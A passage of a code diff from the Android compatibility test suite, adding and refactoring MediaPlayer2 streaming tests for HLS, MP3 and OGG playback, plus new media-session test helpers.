+    public void testHTTP_H264Base_AAC_Video2() throws Exception {
+        if (IGNORE_TESTS) {
+            return;
+        }
+        if (!MediaUtils.checkDecoder(MediaFormat.MIMETYPE_VIDEO_AVC)) {
+            return; // skip
+        }
+
+        String urlString = dynamicConfig.getValue(HTTP_H264_BASE_AAC_VIDEO_2_KEY);
+        playVideoTest(urlString, 640, 360);
+    }
+
+    // Streaming HLS video from YouTube
+    public void testHLS() throws Exception {
+        if (IGNORE_TESTS) {
+            return;
+        }
+        if (!MediaUtils.checkDecoder(MediaFormat.MIMETYPE_VIDEO_AVC)) {
+            return; // skip
+        }
+
+        // Play stream for 60 seconds
+        playLiveVideoTest("http://www.youtube.com/api/manifest/hls_variant/id/"
+                + "0168724d02bd9945/itag/5/source/youtube/playlist_type/DVR/ip/"
+                + "0.0.0.0/ipbits/0/expire/19000000000/sparams/ip,ipbits,expire"
+                + ",id,itag,source,playlist_type/signature/773AB8ACC68A96E5AA48"
+                + "1996AD6A1BBCB70DCB87.95733B544ACC5F01A1223A837D2CF04DF85A336"
+                + "0/key/ik0/file/m3u8", 60 * 1000);
+    }
+
+    public void testHlsWithHeadersCookies() throws Exception {
+        if (IGNORE_TESTS) {
+            return;
+        }
+        if (!MediaUtils.checkDecoder(MediaFormat.MIMETYPE_VIDEO_AVC)) {
+            return; // skip
+        }
+
+        final Uri uri = Uri.parse(
+                "http://www.youtube.com/api/manifest/hls_variant/id/"
+                + "0168724d02bd9945/itag/5/source/youtube/playlist_type/DVR/ip/"
+                + "0.0.0.0/ipbits/0/expire/19000000000/sparams/ip,ipbits,expire"
+                + ",id,itag,source,playlist_type/signature/773AB8ACC68A96E5AA48"
+                + "1996AD6A1BBCB70DCB87.95733B544ACC5F01A1223A837D2CF04DF85A336"
+                + "0/key/ik0/file/m3u8");
+
+        // TODO: dummy values for headers/cookies till we find a server that actually needs them
+        HashMap<String, String> headers = new HashMap<>();
+        headers.put("header0", "value0");
+        headers.put("header1", "value1");
+
+        String cookieName = "auth_1234567";
+        String cookieValue = "0123456789ABCDEF0123456789ABCDEF";
+        HttpCookie cookie = new HttpCookie(cookieName, cookieValue);
+        cookie.setHttpOnly(true);
+        cookie.setDomain("www.youtube.com");
+        cookie.setPath("/");        // all paths
+        cookie.setSecure(false);
+        cookie.setDiscard(false);
+        cookie.setMaxAge(24 * 3600);  // 24hrs
+
+        java.util.Vector<HttpCookie> cookies = new java.util.Vector<HttpCookie>();
+        cookies.add(cookie);
+
+        // Play stream for 60 seconds
+        playLiveVideoTest(uri, headers, cookies, 60 * 1000);
+    }
+
+    public void testHlsSampleAes_bbb_audio_only_overridable() throws Exception {
+        if (IGNORE_TESTS) {
+            return;
+        }
+        if (!MediaUtils.checkDecoder(MediaFormat.MIMETYPE_VIDEO_AVC)) {
+            return; // skip
+        }
+
+        String defaultUrl = "http://storage.googleapis.com/wvmedia/cenc/hls/sample_aes/" +
+                            "bbb_1080p_30fps_11min/audio_only/prog_index.m3u8";
+
+        // if url override provided
+        String testUrl = (mInputUrl != null) ? mInputUrl : defaultUrl;
+
+        // Play stream for 60 seconds
+        playLiveAudioOnlyTest(
+                testUrl,
+                60 * 1000);
+    }
+
+    public void testHlsSampleAes_bbb_unmuxed_1500k() throws Exception {
+        if (IGNORE_TESTS) {
+            return;
+        }
+        if (!MediaUtils.checkDecoder(MediaFormat.MIMETYPE_VIDEO_AVC)) {
+            return; // skip
+        }
+
+        // Play stream for 60 seconds
+        playLiveVideoTest(
+                "http://storage.googleapis.com/wvmedia/cenc/hls/sample_aes/" +
+                "bbb_1080p_30fps_11min/unmuxed_1500k/prog_index.m3u8",
+                60 * 1000);
+    }
+
+
+    // Streaming audio from local HTTP server
+    public void testPlayMp3Stream1() throws Throwable {
+        if (IGNORE_TESTS) {
+            return;
+        }
+        localHttpAudioStreamTest("ringer.mp3", false, false);
+    }
+    public void testPlayMp3Stream2() throws Throwable {
+        if (IGNORE_TESTS) {
+            return;
+        }
+        localHttpAudioStreamTest("ringer.mp3", false, false);
+    }
+    public void testPlayMp3StreamRedirect() throws Throwable {
+        if (IGNORE_TESTS) {
+            return;
+        }
+        localHttpAudioStreamTest("ringer.mp3", true, false);
+    }
+    public void testPlayMp3StreamNoLength() throws Throwable {
+        if (IGNORE_TESTS) {
+            return;
+        }
+        localHttpAudioStreamTest("noiseandchirps.mp3", false, true);
+    }
+    public void testPlayOggStream() throws Throwable {
+        if (IGNORE_TESTS) {
+            return;
+        }
+        localHttpAudioStreamTest("noiseandchirps.ogg", false, false);
+    }
+    public void testPlayOggStreamRedirect() throws Throwable {
+        if (IGNORE_TESTS) {
+            return;
+        }
+        localHttpAudioStreamTest("noiseandchirps.ogg", true, false);
+    }
+    public void testPlayOggStreamNoLength() throws Throwable {
+        if (IGNORE_TESTS) {
+            return;
+        }
+        localHttpAudioStreamTest("noiseandchirps.ogg", false, true);
+    }
+    public void testPlayMp3Stream1Ssl() throws Throwable {
+        if (IGNORE_TESTS) {
+            return;
+        }
+        localHttpsAudioStreamTest("ringer.mp3", false, false);
+    }
+
+    private void localHttpAudioStreamTest(final String name, boolean redirect, boolean nolength)
+            throws Throwable {
+        mServer = new CtsTestServer(mContext);
+        try {
+            String stream_url = null;
+            if (redirect) {
+                // Stagefright doesn't have a limit, but we can't test support of infinite redirects
+                // Up to 4 redirects seems reasonable though.
+                stream_url = mServer.getRedirectingAssetUrl(name, 4);
+            } else {
+                stream_url = mServer.getAssetUrl(name);
+            }
+            if (nolength) {
+                stream_url = stream_url + "?" + CtsTestServer.NOLENGTH_POSTFIX;
+            }
+
+            if (!MediaUtils.checkCodecsForPath(mContext, stream_url)) {
+                return; // skip
+            }
+
+            final Uri uri = Uri.parse(stream_url);
+            mPlayer.setDataSource(new DataSourceDesc.Builder()
+                    .setDataSource(mContext, uri)
+                    .build());
+
+            mPlayer.setDisplay(getActivity().getSurfaceHolder());
+            mPlayer.setScreenOnWhilePlaying(true);
+
+            mOnBufferingUpdateCalled.reset();
+            MediaPlayer2.MediaPlayer2EventCallback ecb =
+                new MediaPlayer2.MediaPlayer2EventCallback() {
+                    @Override
+                    public void onError(MediaPlayer2 mp, DataSourceDesc dsd, int what, int extra) {
+                        fail("Media player had error " + what + " playing " + name);
+                    }
+
+                    @Override
+                    public void onInfo(MediaPlayer2 mp, DataSourceDesc dsd, int what, int extra) {
+                        if (what == MediaPlayer2.MEDIA_INFO_PREPARED) {
+                            mOnPrepareCalled.signal();
+                        } else if (what == MediaPlayer2.MEDIA_INFO_BUFFERING_UPDATE) {
+                            mOnBufferingUpdateCalled.signal();
+                        }
+                    }
+                };
+            mPlayer.setMediaPlayer2EventCallback(mExecutor, ecb);
+
+            assertFalse(mOnBufferingUpdateCalled.isSignalled());
+
+            mPlayer.prepare();
+            mOnPrepareCalled.waitForSignal();
+
+            if (nolength) {
+                mPlayer.play();
+                Thread.sleep(LONG_SLEEP_TIME);
+                assertFalse(mPlayer.isPlaying());
+            } else {
+                mOnBufferingUpdateCalled.waitForSignal();
+                mPlayer.play();
+                Thread.sleep(SLEEP_TIME);
+            }
+            mPlayer.stop();
+            mPlayer.reset();
+        } finally {
+            mServer.shutdown();
+        }
+    }
+    private void localHttpsAudioStreamTest(final String name, boolean redirect, boolean nolength)
+            throws Throwable {
+        mServer = new CtsTestServer(mContext, true);
+        try {
+            String stream_url = null;
+            if (redirect) {
+                // Stagefright doesn't have a limit, but we can't test support of infinite redirects
+                // Up to 4 redirects seems reasonable though.
+                stream_url = mServer.getRedirectingAssetUrl(name, 4);
+            } else {
+                stream_url = mServer.getAssetUrl(name);
+            }
+            if (nolength) {
+                stream_url = stream_url + "?" + CtsTestServer.NOLENGTH_POSTFIX;
+            }
+
+            final Uri uri = Uri.parse(stream_url);
+            mPlayer.setDataSource(new DataSourceDesc.Builder()
+                    .setDataSource(mContext, uri)
+                    .build());
+
+            mPlayer.setDisplay(getActivity().getSurfaceHolder());
+            mPlayer.setScreenOnWhilePlaying(true);
+
+            mOnBufferingUpdateCalled.reset();
+
+            MediaPlayer2.MediaPlayer2EventCallback ecb =
+                new MediaPlayer2.MediaPlayer2EventCallback() {
+                    @Override
+                    public void onError(MediaPlayer2 mp, DataSourceDesc dsd, int what, int extra) {
+                        mOnErrorCalled.signal();
+                    }
+
+                    @Override
+                    public void onInfo(MediaPlayer2 mp, DataSourceDesc dsd, int what, int extra) {
+                        if (what == MediaPlayer2.MEDIA_INFO_PREPARED) {
+                            mOnPrepareCalled.signal();
+                        } else if (what == MediaPlayer2.MEDIA_INFO_BUFFERING_UPDATE) {
+                            mOnBufferingUpdateCalled.signal();
+                        }
+                    }
+                };
+            mPlayer.setMediaPlayer2EventCallback(mExecutor, ecb);
+
+            assertFalse(mOnBufferingUpdateCalled.isSignalled());
+            try {
+                mPlayer.prepare();
+                mOnErrorCalled.waitForSignal();
+            } catch (Exception ex) {
+                return;
+            }
+        } finally {
+            mServer.shutdown();
+        }
+    }
+
+    // TODO: unhide this test when we sort out how to expose buffering control API.
+    private void doTestBuffering() throws Throwable {
+        final String name = "ringer.mp3";
+        mServer = new CtsTestServer(mContext);
+        try {
+            String stream_url = mServer.getAssetUrl(name);
+
+            if (!MediaUtils.checkCodecsForPath(mContext, stream_url)) {
+                Log.w(TAG, "can not find stream " + stream_url + ", skipping test");
+                return; // skip
+            }
+
+            Monitor onSetBufferingParamsCalled = new Monitor();
+            MediaPlayer2.MediaPlayer2EventCallback ecb =
+                new MediaPlayer2.MediaPlayer2EventCallback() {
+                    @Override
+                    public void onError(MediaPlayer2 mp, DataSourceDesc dsd, int what, int extra) {
+                        fail("Media player had error " + what + " playing " + name);
+                    }
+                    @Override
+                    public void onInfo(MediaPlayer2 mp, DataSourceDesc dsd, int what, int extra) {
+                        if (what == MediaPlayer2.MEDIA_INFO_BUFFERING_UPDATE) {
+                            mOnBufferingUpdateCalled.signal();
+                        }
+                    }
+                    @Override
+                    public void onCallCompleted(MediaPlayer2 mp, DataSourceDesc dsd,
+                            int what, int status) {
+                        if (what == MediaPlayer2.CALL_COMPLETED_SET_BUFFERING_PARAMS) {
+                            mCallStatus = status;
+                            onSetBufferingParamsCalled.signal();
+                        }
+                    }
+                };
+            mPlayer.setMediaPlayer2EventCallback(mExecutor, ecb);
+
+            // getBufferingParams should be called after setDataSource.
+            try {
+                BufferingParams params = mPlayer.getBufferingParams();
+                fail("MediaPlayer2 failed to check state for getBufferingParams");
+            } catch (IllegalStateException e) {
+                // expected
+            }
+
+            // setBufferingParams should be called after setDataSource.
+            BufferingParams params = new BufferingParams.Builder()
+                    .setInitialMarkMs(2)
+                    .setResumePlaybackMarkMs(3)
+                    .build();
+            mCallStatus = MediaPlayer2.CALL_STATUS_NO_ERROR;
+            onSetBufferingParamsCalled.reset();
+            mPlayer.setBufferingParams(params);
+            onSetBufferingParamsCalled.waitForSignal();
+            assertTrue(mCallStatus != MediaPlayer2.CALL_STATUS_NO_ERROR);
+
+            final Uri uri = Uri.parse(stream_url);
+            mPlayer.setDataSource(new DataSourceDesc.Builder()
+                    .setDataSource(mContext, uri)
+                    .build());
+
+            mPlayer.setDisplay(getActivity().getSurfaceHolder());
+            mPlayer.setScreenOnWhilePlaying(true);
+
+            mOnBufferingUpdateCalled.reset();
+
+            assertFalse(mOnBufferingUpdateCalled.isSignalled());
+
+            params = mPlayer.getBufferingParams();
+
+            int newMark = params.getInitialMarkMs() + 2;
+            BufferingParams newParams =
+                    new BufferingParams.Builder(params).setInitialMarkMs(newMark).build();
+
+            onSetBufferingParamsCalled.reset();
+            mPlayer.setBufferingParams(newParams);
+            onSetBufferingParamsCalled.waitForSignal();
+
+            int checkMark = -1;
+            BufferingParams checkParams = mPlayer.getBufferingParams();
+            checkMark = checkParams.getInitialMarkMs();
+            assertEquals("marks do not match", newMark, checkMark);
+
+            // TODO: add more dynamic checking, e.g., buffering shall not exceed pre-set mark.
+
+            mPlayer.reset();
+        } finally {
+            mServer.shutdown();
+        }
+    }
+
+    public void testPlayHlsStream() throws Throwable {
+        if (IGNORE_TESTS) {
+            return;
+        }
+        if (!MediaUtils.checkDecoder(MediaFormat.MIMETYPE_VIDEO_AVC)) {
+            return; // skip
+        }
+        localHlsTest("hls.m3u8", false, false);
+    }
+
+    public void testPlayHlsStreamWithQueryString() throws Throwable {
+        if (IGNORE_TESTS) {
+            return;
+        }
+        if (!MediaUtils.checkDecoder(MediaFormat.MIMETYPE_VIDEO_AVC)) {
+            return; // skip
+        }
+        localHlsTest("hls.m3u8", true, false);
+    }
+
+    public void testPlayHlsStreamWithRedirect() throws Throwable {
+        if (IGNORE_TESTS) {
+            return;
+        }
+        if (!MediaUtils.checkDecoder(MediaFormat.MIMETYPE_VIDEO_AVC)) {
+            return; // skip
+        }
+        localHlsTest("hls.m3u8", false, true);
+    }
+
+    public void testPlayHlsStreamWithTimedId3() throws Throwable {
+        if (IGNORE_TESTS) {
+            return;
+        }
+        if (!MediaUtils.checkDecoder(MediaFormat.MIMETYPE_VIDEO_AVC)) {
+            Log.d(TAG, "Device doesn't have video codec, skipping test");
+            return;
+        }
+
+        mServer = new CtsTestServer(mContext);
+        try {
+            // counter must be final if we want to access it inside onTimedMetaData;
+            // use AtomicInteger so we can have a final counter object with mutable integer value.
+            final AtomicInteger counter = new AtomicInteger();
+            String stream_url = mServer.getAssetUrl("prog_index.m3u8");
+            final Uri uri = Uri.parse(stream_url);
+            mPlayer.setDataSource(new DataSourceDesc.Builder()
+                    .setDataSource(mContext, uri)
+                    .build());
+            mPlayer.setDisplay(getActivity().getSurfaceHolder());
+            mPlayer.setScreenOnWhilePlaying(true);
+            mPlayer.setWakeMode(mContext, PowerManager.PARTIAL_WAKE_LOCK);
+
+            final Object completion = new Object();
+            MediaPlayer2.MediaPlayer2EventCallback ecb =
+                new MediaPlayer2.MediaPlayer2EventCallback() {
+                    int run;
+                    @Override
+                    public void onInfo(MediaPlayer2 mp, DataSourceDesc dsd, int what, int extra) {
+                        if (what == MediaPlayer2.MEDIA_INFO_PREPARED) {
+                            mOnPrepareCalled.signal();
+                        } else if (what == MediaPlayer2.MEDIA_INFO_PLAYBACK_COMPLETE) {
+                            if (run++ == 0) {
+                                mPlayer.seekTo(0, MediaPlayer2.SEEK_PREVIOUS_SYNC);
+                                mPlayer.play();
+                            } else {
+                                mPlayer.stop();
+                                synchronized (completion) {
+                                    completion.notify();
+                                }
+                            }
+                        }
+                    }
+
+                @Override
+                public void onTimedMetaDataAvailable(MediaPlayer2 mp, DataSourceDesc dsd,
+                        TimedMetaData md) {
+                    counter.incrementAndGet();
+                    long pos = mp.getCurrentPosition();
+                    long timeUs = md.getTimestamp();
+                    byte[] rawData = md.getMetaData();
+                    // Raw data contains an id3 tag holding the decimal string representation of
+                    // the associated time stamp rounded to the closest half second.
+
+                    int offset = 0;
+                    offset += 3; // "ID3"
+                    offset += 2; // version
+                    offset += 1; // flags
+                    offset += 4; // size
+                    offset += 4; // "TXXX"
+                    offset += 4; // frame size
+                    offset += 2; // frame flags
+                    offset += 1; // "\x03" : UTF-8 encoded Unicode
+                    offset += 1; // "\x00" : null-terminated empty description
+
+                    int length = rawData.length;
+                    length -= offset;
+                    length -= 1; // "\x00" : terminating null
+
+                    String data = new String(rawData, offset, length);
+                    int dataTimeUs = Integer.parseInt(data);
+                    assertTrue("Timed ID3 timestamp does not match content",
+                            Math.abs(dataTimeUs - timeUs) < 500000);
+                    assertTrue("Timed ID3 arrives after timestamp", pos * 1000 < timeUs);
+                }
+
+                @Override
+                public void onCallCompleted(MediaPlayer2 mp, DataSourceDesc dsd,
+                        int what, int status) {
+                    if (what == MediaPlayer2.CALL_COMPLETED_PLAY) {
+                        mOnPlayCalled.signal();
+                    }
+                }
+            };
+            mPlayer.setMediaPlayer2EventCallback(mExecutor, ecb);
+
+            mPlayer.prepare();
+            mOnPrepareCalled.waitForSignal();
+
+            mOnPlayCalled.reset();
+            mPlayer.play();
+            mOnPlayCalled.waitForSignal();
+            assertTrue("MediaPlayer2 not playing", mPlayer.isPlaying());
+
+            int i = -1;
+            List<TrackInfo> trackInfos = mPlayer.getTrackInfo();
+            for (i = 0; i < trackInfos.size(); i++) {
+                TrackInfo trackInfo = trackInfos.get(i);
+                if (trackInfo.getTrackType() == TrackInfo.MEDIA_TRACK_TYPE_METADATA) {
+                    break;
+                }
+            }
+            assertTrue("Stream has no timed ID3 track", i >= 0);
+            mPlayer.selectTrack(i);
+
+            synchronized (completion) {
+                completion.wait();
+            }
+
+            // There are a total of 19 metadata access units in the test stream; every one of them
+            // should be received twice: once before the seek and once after.
+            assertTrue("Incorrect number of timed ID3s recieved", counter.get() == 38);
+        } finally {
+            mServer.shutdown();
+        }
+    }
+
+    private static class WorkerWithPlayer implements Runnable {
+        private final Object mLock = new Object();
+        private Looper mLooper;
+        private MediaPlayer2 mPlayer;
+
+        /**
+         * Creates a worker thread with the given name. The thread
+         * then runs a {@link android.os.Looper}.
+         * @param name A name for the new thread
+         */
+        WorkerWithPlayer(String name) {
+            Thread t = new Thread(null, this, name);
+            t.setPriority(Thread.MIN_PRIORITY);
+            t.start();
+            synchronized (mLock) {
+                while (mLooper == null) {
+                    try {
+                        mLock.wait();
+                    } catch (InterruptedException ex) {
+                    }
+                }
+            }
+        }
+
+        public MediaPlayer2 getPlayer() {
+            return mPlayer;
+        }
+
+        @Override
+        public void run() {
+            synchronized (mLock) {
+                Looper.prepare();
+                mLooper = Looper.myLooper();
+                mPlayer = MediaPlayer2.create();
+                mLock.notifyAll();
+            }
+            Looper.loop();
+        }
+
+        public void quit() {
+            mLooper.quit();
+            mPlayer.close();
+        }
+    }
+
+    public void testBlockingReadRelease() throws Throwable {
+        if (IGNORE_TESTS) {
+            return;
+        }
+
+        mServer = new CtsTestServer(mContext);
+
+        WorkerWithPlayer worker = new WorkerWithPlayer("player");
+        final MediaPlayer2 mp = worker.getPlayer();
+
+        try {
+            String path = mServer.getDelayedAssetUrl("noiseandchirps.ogg", 15000);
+            final Uri uri = Uri.parse(path);
+            mp.setDataSource(new DataSourceDesc.Builder()
+                    .setDataSource(mContext, uri)
+                    .build());
+
+            MediaPlayer2.MediaPlayer2EventCallback ecb =
+                new MediaPlayer2.MediaPlayer2EventCallback() {
+                    @Override
+                    public void onInfo(MediaPlayer2 mp, DataSourceDesc dsd, int what, int extra) {
+                        if (what == MediaPlayer2.MEDIA_INFO_PREPARED) {
+                            fail("prepare should not succeed");
+                        }
+                    }
+                };
+            mp.setMediaPlayer2EventCallback(mExecutor, ecb);
+
+            mp.prepare();
+            Thread.sleep(1000);
+            long start = SystemClock.elapsedRealtime();
+            mp.close();
+            long end = SystemClock.elapsedRealtime();
+            long releaseDuration = (end - start);
+            assertTrue("release took too long: " + releaseDuration, releaseDuration < 1000);
+        } catch (IllegalArgumentException e) {
+            fail(e.getMessage());
+        } catch (SecurityException e) {
+            fail(e.getMessage());
+        } catch (IllegalStateException e) {
+            fail(e.getMessage());
+        } catch (InterruptedException e) {
+            fail(e.getMessage());
+        } finally {
+            mServer.shutdown();
+        }
+
+        // give the worker a bit of time to start processing the message before shutting it down
+        Thread.sleep(5000);
+        worker.quit();
+    }
+
+    private void localHlsTest(final String name, boolean appendQueryString, boolean redirect)
+            throws Throwable {
+        mServer = new CtsTestServer(mContext);
+        try {
+            String stream_url = null;
+            if (redirect) {
+                stream_url = mServer.getQueryRedirectingAssetUrl(name);
+            } else {
+                stream_url = mServer.getAssetUrl(name);
+            }
+            if (appendQueryString) {
+                stream_url += "?foo=bar/baz";
+            }
+
+            playLiveVideoTest(stream_url, 10);
+        } finally {
+            mServer.shutdown();
+        }
+    }
+}
diff --git a/tests/tests/media/src/android/media/cts/StreamingMediaPlayerTest.java b/tests/tests/media/src/android/media/cts/StreamingMediaPlayerTest.java
index 60a92b1..0bbddf4 100644
--- a/tests/tests/media/src/android/media/cts/StreamingMediaPlayerTest.java
+++ b/tests/tests/media/src/android/media/cts/StreamingMediaPlayerTest.java
@@ -188,8 +188,7 @@
 
         // Play stream for 60 seconds
         // limit rate to workaround multiplication overflow in framework
-        final boolean isAudioOnly = false;
-        localHlsTest("hls_variant/index.m3u8", 60 * 1000, LOCAL_HLS_BITS_PER_MS, isAudioOnly);
+        localHlsTest("hls_variant/index.m3u8", 60 * 1000, LOCAL_HLS_BITS_PER_MS);
     }
 
     public void testHlsWithHeadersCookies() throws Exception {
@@ -217,8 +216,7 @@
 
         // Play stream for 60 seconds
         // limit rate to workaround multiplication overflow in framework
-        final boolean isAudioOnly = false;
-        localHlsTest("hls_variant/index.m3u8", 60 * 1000, LOCAL_HLS_BITS_PER_MS, isAudioOnly);
+        localHlsTest("hls_variant/index.m3u8", 60 * 1000, LOCAL_HLS_BITS_PER_MS);
     }
 
     public void testHlsSampleAes_bbb_audio_only_overridable() throws Exception {
@@ -231,7 +229,7 @@
             // if url override provided
             playLiveAudioOnlyTest(mInputUrl, 60 * 1000);
         } else {
-            localHlsTest("audio_only/index.m3u8", 60 * 1000, -1, true /*isAudioOnly*/);
+            localHlsTest("audio_only/index.m3u8", 60 * 1000, -1);
         }
 
     }
@@ -241,15 +239,8 @@
             return; // skip
         }
 
-        MediaFormat format = MediaFormat.createVideoFormat(MediaFormat.MIMETYPE_VIDEO_AVC, 1920, 1080);
-        String[] decoderNames = MediaUtils.getDecoderNames(false, format);
-
-        if (decoderNames.length == 0) {
-            MediaUtils.skipTest("No decoders for " + format);
-        } else {
-            // Play stream for 60 seconds
-            localHlsTest("unmuxed_1500k/index.m3u8", 60 * 1000, -1, false /*isAudioOnly*/);
-        }
+        // Play stream for 60 seconds
+        localHlsTest("unmuxed_1500k/index.m3u8", 60 * 1000, -1);
     }
 
 
@@ -464,21 +455,21 @@
         if (!MediaUtils.checkDecoder(MediaFormat.MIMETYPE_VIDEO_AVC)) {
             return; // skip
         }
-        localHlsTest("hls.m3u8", false, false, false /*isAudioOnly*/);
+        localHlsTest("hls.m3u8", false, false);
     }
 
     public void testPlayHlsStreamWithQueryString() throws Throwable {
         if (!MediaUtils.checkDecoder(MediaFormat.MIMETYPE_VIDEO_AVC)) {
             return; // skip
         }
-        localHlsTest("hls.m3u8", true, false, false /*isAudioOnly*/);
+        localHlsTest("hls.m3u8", true, false);
     }
 
     public void testPlayHlsStreamWithRedirect() throws Throwable {
         if (!MediaUtils.checkDecoder(MediaFormat.MIMETYPE_VIDEO_AVC)) {
             return; // skip
         }
-        localHlsTest("hls.m3u8", false, true, false /*isAudioOnly*/);
+        localHlsTest("hls.m3u8", false, true);
     }
 
     public void testPlayHlsStreamWithTimedId3() throws Throwable {
@@ -661,19 +652,19 @@
         worker.quit();
     }
 
-    private void localHlsTest(final String name, boolean appendQueryString,
-            boolean redirect, boolean isAudioOnly) throws Exception {
-        localHlsTest(name, null, null, appendQueryString, redirect, 10, -1, isAudioOnly);
+    private void localHlsTest(final String name, boolean appendQueryString, boolean redirect)
+            throws Exception {
+        localHlsTest(name, null, null, appendQueryString, redirect, 10, -1);
     }
 
-    private void localHlsTest(final String name, int playTime, int bitsPerMs, boolean isAudioOnly)
+    private void localHlsTest(final String name, int playTime, int bitsPerMs)
             throws Exception {
-        localHlsTest(name, null, null, false, false, playTime, bitsPerMs, isAudioOnly);
+        localHlsTest(name, null, null, false, false, playTime, bitsPerMs);
     }
 
     private void localHlsTest(String name, Map<String, String> headers, List<HttpCookie> cookies,
-            boolean appendQueryString, boolean redirect, int playTime, int bitsPerMs,
-            boolean isAudioOnly) throws Exception {
+            boolean appendQueryString, boolean redirect, int playTime, int bitsPerMs)
+            throws Exception {
         if (bitsPerMs >= 0) {
             mServer = new CtsTestServer(mContext) {
                 @Override
@@ -694,11 +685,8 @@
             if (appendQueryString) {
                 stream_url += "?foo=bar/baz";
             }
-            if (isAudioOnly) {
-                playLiveAudioOnlyTest(Uri.parse(stream_url), headers, cookies, playTime);
-            } else {
-                playLiveVideoTest(Uri.parse(stream_url), headers, cookies, playTime);
-            }
+
+            playLiveVideoTest(Uri.parse(stream_url), headers, cookies, playTime);
         } finally {
             mServer.shutdown();
         }
diff --git a/tests/tests/media/src/android/media/cts/TestServiceRegistry.java b/tests/tests/media/src/android/media/cts/TestServiceRegistry.java
new file mode 100644
index 0000000..a904be4
--- /dev/null
+++ b/tests/tests/media/src/android/media/cts/TestServiceRegistry.java
@@ -0,0 +1,134 @@
+/*
+ * Copyright 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.media.cts;
+
+import static org.junit.Assert.fail;
+
+import android.media.MediaSession2.SessionCallback;
+import android.media.MediaSessionService2;
+import android.media.cts.TestUtils.SyncHandler;
+import android.os.Handler;
+import androidx.annotation.GuardedBy;
+import androidx.annotation.NonNull;
+import androidx.annotation.Nullable;
+
+/**
+ * Keeps the instance of currently running {@link MockMediaSessionService2}. And also provides
+ * a way to control them in one place.
+ * <p>
+ * It only support only one service at a time.
+ */
+public class TestServiceRegistry {
+    @GuardedBy("TestServiceRegistry.class")
+    private static TestServiceRegistry sInstance;
+    @GuardedBy("TestServiceRegistry.class")
+    private MediaSessionService2 mService;
+    @GuardedBy("TestServiceRegistry.class")
+    private SyncHandler mHandler;
+    @GuardedBy("TestServiceRegistry.class")
+    private SessionCallback mSessionCallback;
+    @GuardedBy("TestServiceRegistry.class")
+    private SessionServiceCallback mSessionServiceCallback;
+
+    /**
+     * Callback for session service's lifecyle (onCreate() / onDestroy())
+     */
+    public interface SessionServiceCallback {
+        default void onCreated() {}
+        default void onDestroyed() {}
+    }
+
+    public static TestServiceRegistry getInstance() {
+        synchronized (TestServiceRegistry.class) {
+            if (sInstance == null) {
+                sInstance = new TestServiceRegistry();
+            }
+            return sInstance;
+        }
+    }
+
+    public void setHandler(Handler handler) {
+        synchronized (TestServiceRegistry.class) {
+            mHandler = new SyncHandler(handler.getLooper());
+        }
+    }
+
+    public Handler getHandler() {
+        synchronized (TestServiceRegistry.class) {
+            return mHandler;
+        }
+    }
+
+    public void setSessionServiceCallback(SessionServiceCallback sessionServiceCallback) {
+        synchronized (TestServiceRegistry.class) {
+            mSessionServiceCallback = sessionServiceCallback;
+        }
+    }
+
+    public void setSessionCallback(SessionCallback sessionCallback) {
+        synchronized (TestServiceRegistry.class) {
+            mSessionCallback = sessionCallback;
+        }
+    }
+
+    public SessionCallback getSessionCallback() {
+        synchronized (TestServiceRegistry.class) {
+            return mSessionCallback;
+        }
+    }
+
+    public void setServiceInstance(MediaSessionService2 service) {
+        synchronized (TestServiceRegistry.class) {
+            if (mService != null) {
+                fail("Previous service instance is still running. Clean up manually to ensure"
+                        + " previoulsy running service doesn't break current test");
+            }
+            mService = service;
+            if (mSessionServiceCallback != null) {
+                mSessionServiceCallback.onCreated();
+            }
+        }
+    }
+
+    public MediaSessionService2 getServiceInstance() {
+        synchronized (TestServiceRegistry.class) {
+            return mService;
+        }
+    }
+
+    public void cleanUp() {
+        synchronized (TestServiceRegistry.class) {
+            if (mService != null) {
+                // TODO(jaewan): Remove this, and override SessionService#onDestroy() to do this
+                mService.getSession().close();
+                // stopSelf() would not kill service while the binder connection established by
+                // bindService() exists, and close() above will do the job instead.
+                // So stopSelf() isn't really needed, but just for sure.
+                mService.stopSelf();
+                mService = null;
+            }
+            if (mHandler != null) {
+                mHandler.removeCallbacksAndMessages(null);
+            }
+            mSessionCallback = null;
+            if (mSessionServiceCallback != null) {
+                mSessionServiceCallback.onDestroyed();
+                mSessionServiceCallback = null;
+            }
+        }
+    }
+}
diff --git a/tests/tests/media/src/android/media/cts/TestUtils.java b/tests/tests/media/src/android/media/cts/TestUtils.java
index b64a856..f86f150 100644
--- a/tests/tests/media/src/android/media/cts/TestUtils.java
+++ b/tests/tests/media/src/android/media/cts/TestUtils.java
@@ -21,6 +21,9 @@
 
 import android.content.Context;
 import android.media.DataSourceDesc;
+import android.media.MediaItem2;
+import android.media.MediaMetadata2;
+import android.media.SessionToken2;
 import android.media.session.MediaSessionManager;
 import android.os.Bundle;
 import android.os.Handler;
@@ -41,6 +44,28 @@
     private static final int WAIT_SERVICE_TIME_MS = 5000;
 
     /**
+     * Finds the session with id in this test package.
+     *
+     * @param context
+     * @param id
+     * @return
+     */
+    public static SessionToken2 getServiceToken(Context context, String id) {
+        MediaSessionManager manager =
+                (MediaSessionManager) context.getSystemService(Context.MEDIA_SESSION_SERVICE);
+        List<SessionToken2> tokens = manager.getSessionServiceTokens();
+        for (int i = 0; i < tokens.size(); i++) {
+            SessionToken2 token = tokens.get(i);
+            if (context.getPackageName().equals(token.getPackageName())
+                    && id.equals(token.getId())) {
+                return token;
+            }
+        }
+        fail("Failed to find service");
+        return null;
+    }
+
+    /**
      * Compares contents of two bundles.
      *
      * @param a a bundle
@@ -67,6 +92,75 @@
         return true;
     }
 
+    /**
+     * Create a playlist for testing purpose
+     * <p>
+     * Caller's method name will be used for prefix of each media item's media id.
+     *
+     * @param size lits size
+     * @return the newly created playlist
+     */
+    public static List<MediaItem2> createPlaylist(int size) {
+        final List<MediaItem2> list = new ArrayList<>();
+        String caller = Thread.currentThread().getStackTrace()[1].getMethodName();
+        for (int i = 0; i < size; i++) {
+            list.add(new MediaItem2.Builder(MediaItem2.FLAG_PLAYABLE)
+                    .setMediaId(caller + "_item_" + (size + 1))
+                    .setDataSourceDesc(
+                            new DataSourceDesc.Builder()
